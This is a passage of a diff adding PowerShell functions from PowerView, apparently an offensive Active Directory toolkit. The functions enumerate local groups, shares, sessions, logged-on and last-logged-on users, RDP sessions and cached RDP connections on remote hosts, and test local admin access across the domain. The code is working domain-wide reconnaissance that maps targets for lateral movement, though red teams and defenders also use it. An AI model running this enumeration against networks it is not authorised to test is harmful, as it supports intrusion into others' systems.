+ $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
+ $Parts = $MachineSid.SID.Split('-')
+ $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
+
+ $LocalUsers | ForEach-Object {
+ if($_.SID -match $MachineSid) {
+ $_ | Add-Member Noteproperty 'IsDomain' $False
+ }
+ else {
+ $_ | Add-Member Noteproperty 'IsDomain' $True
+ }
+ }
+ $LocalUsers
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
+
+ else {
+ # otherwise we're using the WinNT service provider
+ try {
+ if($ListGroups) {
+ # if we're listing the group names on a remote server
+ $Computer = [ADSI]"WinNT://$Server,computer"
+
+ $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
+ $Group = New-Object PSObject
+ $Group | Add-Member Noteproperty 'Server' $Server
+ $Group | Add-Member Noteproperty 'Group' ($_.name[0])
+ $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
+ $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
+ $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
+ $Group
+ }
+ }
+ else {
+ # otherwise we're listing the group members
+ $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
+
+ $Members | ForEach-Object {
+
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' $Server
+
+ $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
+
+ # try to translate the NT4 domain to a FQDN if possible
+ $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
+
+ if($Name) {
+ $FQDN = $Name.split("/")[0]
+ $ObjName = $AdsPath.split("/")[-1]
+ $Name = "$FQDN/$ObjName"
+ $IsDomain = $True
+ }
+ else {
+ $Name = $AdsPath
+ $IsDomain = $False
+ }
+
+ $Member | Add-Member Noteproperty 'AccountName' $Name
+
+ if($IsDomain) {
+ # translate the binary sid to a string
+ $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
+
+ $Member | Add-Member Noteproperty 'Description' ""
+ $Member | Add-Member Noteproperty 'Disabled' $False
+
+ # check if the member is a group
+ $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
+ $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
+
+ if($IsGroup) {
+ $Member | Add-Member Noteproperty 'LastLogin' $Null
+ }
+ else {
+ try {
+ $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
+ }
+ catch {
+ $Member | Add-Member Noteproperty 'LastLogin' $Null
+ }
+ }
+ $Member | Add-Member Noteproperty 'PwdLastSet' ""
+ $Member | Add-Member Noteproperty 'PwdExpired' ""
+ $Member | Add-Member Noteproperty 'UserFlags' ""
+ }
+ else {
+ # repull this user object so we can ensure correct information
+ $LocalUser = $([ADSI] "WinNT://$AdsPath")
+
+ # translate the binary sid to a string
+ $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
+
+ $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
+
+ # UAC flags of 0x2 mean the account is disabled
+ $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
+
+ # check if the member is a group
+ $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group')
+ $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
+
+ if($IsGroup) {
+ $Member | Add-Member Noteproperty 'LastLogin' ""
+ }
+ else {
+ try {
+ $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
+ }
+ catch {
+ $Member | Add-Member Noteproperty 'LastLogin' ""
+ }
+ }
+
+ $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
+ $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
+ $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
+ }
+ $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
+ $Member
+
+ # if the result is a group domain object and we're recursing, try to resolve all the group member results
+ if($Recurse -and $IsDomain -and $IsGroup) {
+
+ $FQDN = $Name.split("/")[0]
+ $GroupName = $Name.split("/")[1].trim()
+
+ Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
+
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
+
+ $MemberDN = $_.distinguishedName
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+
+ $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+
+ if ($_.samAccountName) {
+ # forest users have the samAccountName set
+ $MemberName = $_.samAccountName
+ }
+ else {
+ try {
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $_.cn
+ }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $_.cn
+ }
+ }
+ catch {
+ Write-Verbose "Error resolving SID : $_"
+ }
+ }
+
+ $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
+ $Member | Add-Member Noteproperty 'SID' $_.objectsid
+ $Member | Add-Member Noteproperty 'Description' $_.description
+ $Member | Add-Member Noteproperty 'Disabled' $False
+ $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
+ $Member | Add-Member Noteproperty 'IsDomain' $True
+ $Member | Add-Member Noteproperty 'LastLogin' ''
+ $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
+ $Member | Add-Member Noteproperty 'PwdExpired' ''
+ $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
+ $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
+ $Member
+ }
+ }
+ }
+ }
+ }
+ catch {
+ Write-Warning "[!] Error: $_"
+ }
+ }
+ }
+ }
+}
+
+
+filter Get-NetShare {
+<#
+ .SYNOPSIS
+
+ This function will execute the NetShareEnum Win32API call to query
+ a given host for open shares. This is a replacement for
+ "net share \\hostname"
+
+ .PARAMETER ComputerName
+
+ The hostname to query for shares. Also accepts IP addresses.
+
+ .OUTPUTS
+
+ SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
+ result structure which includes the name and note for each share,
+ with the ComputerName added.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetShare
+
+ Returns active shares on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetShare -ComputerName sqlserver
+
+ Returns active shares on the 'sqlserver' host
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-NetShare
+
+ Returns all shares for all computers in the domain.
+
+ .LINK
+
+ http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost'
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # arguments for NetShareEnum
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get the share information
+ $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $SHARE_INFO_1::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SHARE_INFO_1
+
+ # return all the sections of the structure
+ $Shares = $Info | Select-Object *
+ $Shares | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Shares
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+}
+
+
+filter Get-NetLoggedon {
+<#
+ .SYNOPSIS
+
+ This function will execute the NetWkstaUserEnum Win32API call to query
+ a given host for actively logged on users.
+
+ .PARAMETER ComputerName
+
+ The hostname to query for logged on users.
+
+ .OUTPUTS
+
+ WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
+ result structure which includes the username and domain of logged on users,
+ with the ComputerName added.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLoggedon
+
+ Returns users actively logged onto the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLoggedon -ComputerName sqlserver
+
+ Returns users actively logged onto the 'sqlserver' host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-NetLoggedon
+
+ Returns all logged on userse for all computers in the domain.
+
+ .LINK
+
+ http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost'
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # Declare the reference variables
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get logged on user information
+ $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $WKSTA_USER_INFO_1::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
+
+ # return all the sections of the structure
+ $LoggedOn = $Info | Select-Object *
+ $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $LoggedOn
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+}
+
+
+filter Get-NetSession {
+<#
+ .SYNOPSIS
+
+ This function will execute the NetSessionEnum Win32API call to query
+ a given host for active sessions on the host.
+ Heavily adapted from dunedinite's post on stackoverflow (see LINK below)
+
+ .PARAMETER ComputerName
+
+ The ComputerName to query for active sessions.
+
+ .PARAMETER UserName
+
+ The user name to filter for active sessions.
+
+ .OUTPUTS
+
+ SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
+ result structure which includes the host and username associated
+ with active sessions, with the ComputerName added.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetSession
+
+ Returns active sessions on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetSession -ComputerName sqlserver
+
+ Returns active sessions on the 'sqlserver' host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController | Get-NetSession
+
+ Returns active sessions on all domain controllers.
+
+ .LINK
+
+ http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [String]
+ $UserName = ''
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # arguments for NetSessionEnum
+ $QueryLevel = 10
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get session information
+ $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $SESSION_INFO_10::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SESSION_INFO_10
+
+ # return all the sections of the structure
+ $Sessions = $Info | Select-Object *
+ $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Sessions
+ }
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+}
+
+
+filter Get-LoggedOnLocal {
+<#
+ .SYNOPSIS
+
+ This function will query the HKU registry values to retrieve the local
+ logged on users SID and then attempt and reverse it.
+ Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
+ using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
+ required (NetWkstaUserEnum requires remote admin access).
+
+ Note: This function requires only domain user rights on the
+ machine you're enumerating, but remote registry must be enabled.
+
+ Function: Get-LoggedOnLocal
+ Author: Matt Kelly, @BreakersAll
+
+ .PARAMETER ComputerName
+
+ The ComputerName to query for active sessions.
+
+ .EXAMPLE
+
+ PS C:\> Get-LoggedOnLocal
+
+ Returns active sessions on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-LoggedOnLocal -ComputerName sqlserver
+
+ Returns active sessions on the 'sqlserver' host.
+
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost'
+ )
+
+ # process multiple host object types from the pipeline
+ $ComputerName = Get-NameField -Object $ComputerName
+
+ try {
+ # retrieve HKU remote registry values
+ $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
+
+ # sort out bogus sid's like _class
+ $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
+ $UserName = Convert-SidToName $_
+
+ $Parts = $UserName.Split('\')
+ $UserDomain = $Null
+ $UserName = $Parts[-1]
+ if ($Parts.Length -eq 2) {
+ $UserDomain = $Parts[0]
+ }
+
+ $LocalLoggedOnUser = New-Object PSObject
+ $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
+ $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
+ $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
+ $LocalLoggedOnUser
+ }
+ }
+ catch {
+ Write-Verbose "Error opening remote registry on '$ComputerName'"
+ }
+}
+
+
+filter Get-NetRDPSession {
+<#
+ .SYNOPSIS
+
+ This function will execute the WTSEnumerateSessionsEx and
+ WTSQuerySessionInformation Win32API calls to query a given
+ RDP remote service for active sessions and originating IPs.
+ This is a replacement for qwinsta.
+
+ Note: only members of the Administrators or Account Operators local group
+ can successfully execute this functionality on a remote target.
+
+ .PARAMETER ComputerName
+
+ The hostname to query for active RDP sessions.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetRDPSession
+
+ Returns active RDP/terminal sessions on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetRDPSession -ComputerName "sqlserver"
+
+ Returns active RDP/terminal sessions on the 'sqlserver' host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController | Get-NetRDPSession
+
+ Returns active RDP/terminal sessions on all domain controllers.
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost'
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # open up a handle to the Remote Desktop Session host
+ $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
+
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
+
+ # arguments for WTSEnumerateSessionsEx
+ $ppSessionInfo = [IntPtr]::Zero
+ $pCount = 0
+
+ # get information on all current sessions
+ $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ # Locate the offset of the initial intPtr
+ $Offset = $ppSessionInfo.ToInt64()
+
+ if (($Result -ne 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $WTS_SESSION_INFO_1::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $pCount); $i++) {
+
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
+
+ $RDPSession = New-Object PSObject
+
+ if ($Info.pHostName) {
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
+ }
+ else {
+ # if no hostname returned, use the specified hostname
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
+ }
+
+ $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
+
+ if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
+ # if a domain isn't returned just use the username
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
+ }
+ else {
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
+ }
+
+ $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
+ $RDPSession | Add-Member Noteproperty 'State' $Info.State
+
+ $ppBuffer = [IntPtr]::Zero
+ $pBytesReturned = 0
+
+ # query for the source client IP with WTSQuerySessionInformation
+ # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
+ $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if($Result -eq 0) {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
+ }
+ else {
+ $Offset2 = $ppBuffer.ToInt64()
+ $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
+ $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
+
+ $SourceIP = $Info2.Address
+ if($SourceIP[2] -ne 0) {
+ $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
+ }
+ else {
+ $SourceIP = $Null
+ }
+
+ $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
+ $RDPSession
+
+ # free up the memory buffer
+ $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
+
+ $Offset += $Increment
+ }
+ }
+ # free up the memory result buffer
+ $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ # Close off the service handle
+ $Null = $Wtsapi32::WTSCloseServer($Handle)
+ }
+ else {
+ Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
+ }
+}
+
+
+filter Invoke-CheckLocalAdminAccess {
+<#
+ .SYNOPSIS
+
+ This function will use the OpenSCManagerW Win32API call to establish
+ a handle to the remote host. If this succeeds, the current user context
+ has local administrator acess to the target.
+
+ Idea stolen from the local_admin_search_enum post module in Metasploit written by:
+ 'Brandon McCann "zeknox" '
+ 'Thomas McCarthy "smilingraccoon" '
+ 'Royce Davis "r3dy" '
+
+ .PARAMETER ComputerName
+
+ The hostname to query for active sessions.
+
+ .OUTPUTS
+
+ $True if the current user has local admin access to the hostname, $False otherwise
+
+ .EXAMPLE
+
+ PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver
+
+ Returns active sessions on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+
+ Sees what machines in the domain the current user has access to.
+
+ .LINK
+
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
+ http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost'
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # 0xF003F - SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"
+
+ $IsAdmin = New-Object PSObject
+ $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
+
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
+ $Null = $Advapi32::CloseServiceHandle($Handle)
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
+ }
+
+ $IsAdmin
+}
+
+
+filter Get-SiteName {
+<#
+ .SYNOPSIS
+
+ This function will use the DsGetSiteName Win32API call to look up the
+ name of the site where a specified computer resides.
+
+ .PARAMETER ComputerName
+
+ The hostname to look the site up for, default to localhost.
+
+ .EXAMPLE
+
+ PS C:\> Get-SiteName -ComputerName WINDOWS1
+
+ Returns the site for WINDOWS1.testlab.local.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+
+ Returns the sites for every machine in AD.
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = $Env:ComputerName
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # if we get an IP address, try to resolve the IP to a hostname
+ if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
+ $IPAddress = $Computer
+ $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
+ }
+ else {
+ $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
+ }
+
+ $PtrInfo = [IntPtr]::Zero
+
+ $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
+
+ $ComputerSite = New-Object PSObject
+ $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
+ $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
+
+ if ($Result -eq 0) {
+ $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
+ }
+ else {
+ $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
+ }
+
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+
+ $ComputerSite
+}
+
+
+filter Get-LastLoggedOn {
+<#
+ .SYNOPSIS
+
+ This function uses remote registry functionality to return
+ the last user logged onto a target machine.
+
+ Note: This function requires administrative rights on the
+ machine you're enumerating.
+
+ .PARAMETER ComputerName
+
+ The hostname to query for the last logged on user.
+ Defaults to the localhost.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object for the remote connection.
+
+ .EXAMPLE
+
+ PS C:\> Get-LastLoggedOn
+
+ Returns the last user logged onto the local machine.
+
+ .EXAMPLE
+
+ PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1
+
+ Returns the last user logged onto WINDOWS1
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-LastLoggedOn
+
+ Returns the last user logged onto all machines in the domain.
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # HKEY_LOCAL_MACHINE
+ $HKLM = 2147483650
+
+ # try to open up the remote registry key to grab the last logged on user
+ try {
+
+ if($Credential) {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
+ }
+ else {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
+ }
+
+ $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
+ $Value = "LastLoggedOnUser"
+ $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
+
+ $LastLoggedOn = New-Object PSObject
+ $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
+ $LastLoggedOn
+ }
+ catch {
+ Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
+ }
+}
+
+
+filter Get-CachedRDPConnection {
+<#
+ .SYNOPSIS
+
+ Uses remote registry functionality to query all entries for the
+ "Windows Remote Desktop Connection Client" on a machine, separated by
+ user and target server.
+
+ Note: This function requires administrative rights on the
+ machine you're enumerating.
+
+ .PARAMETER ComputerName
+
+ The hostname to query for RDP client information.
+ Defaults to localhost.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object for the remote connection.
+
+ .EXAMPLE
+
+ PS C:\> Get-CachedRDPConnection
+
+ Returns the RDP connection client information for the local machine.
+
+ .EXAMPLE
+
+ PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local
+
+ Returns the RDP connection client information for the WINDOWS2.testlab.local machine
+
+ .EXAMPLE
+
+ PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred
+
+ Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-CachedRDPConnection
+
+ Get cached RDP information for all machines in the domain.
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # HKEY_USERS
+ $HKU = 2147483651
+
+ try {
+ if($Credential) {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
+ }
+ else {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
+ }
+
+ # extract out the SIDs of domain users in this hive
+ $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
+
+ foreach ($UserSID in $UserSIDs) {
+
+ try {
+ $UserName = Convert-SidToName $UserSID
+
+ # pull out all the cached RDP connections
+ $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
+
+ foreach ($Connection in $ConnectionKeys) {
+ # make sure this key is a cached connection
+ if($Connection -match 'MRU.*') {
